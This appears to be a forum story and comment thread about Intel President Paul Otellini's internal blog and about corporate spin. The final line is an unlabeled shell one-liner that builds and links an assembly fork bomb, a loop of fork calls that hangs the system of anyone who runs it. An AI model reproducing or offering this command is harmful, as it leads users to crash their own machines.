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Intel From Behind the Curtain
Good Morning Silicon Valley writes "So now that we've reached this postmodern understanding that all official corporate communication is, if not a charade, part of a ritualized dance where meaning must be divined between the lines, where do you turn to hear an executive talk straight? Why, to his or her blog, of course. Even more candid than the still-rare public executive blog is one meant just for internal consumption, and that's what makes Intel President Paul Otellini's postings such interesting reading. The Mercury News snagged a copy of Otellini's 8-week-old blog and found it full of frank interaction with employees on strategic initiatives and the competition."
The advantages in our the system are ordinary people have more choice and more access to information and powerful people have limits on their power, not that the powerful people are more altruistic.
Actually, I'd expect executives in a competitive capitalist system to be better at propaganda than the government people in Russia. Here, if you are doing badly, you need to spin things from when the problem becomes publically known until you fix it or go under, whereas there you could just kill, censor or imprison your critics.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;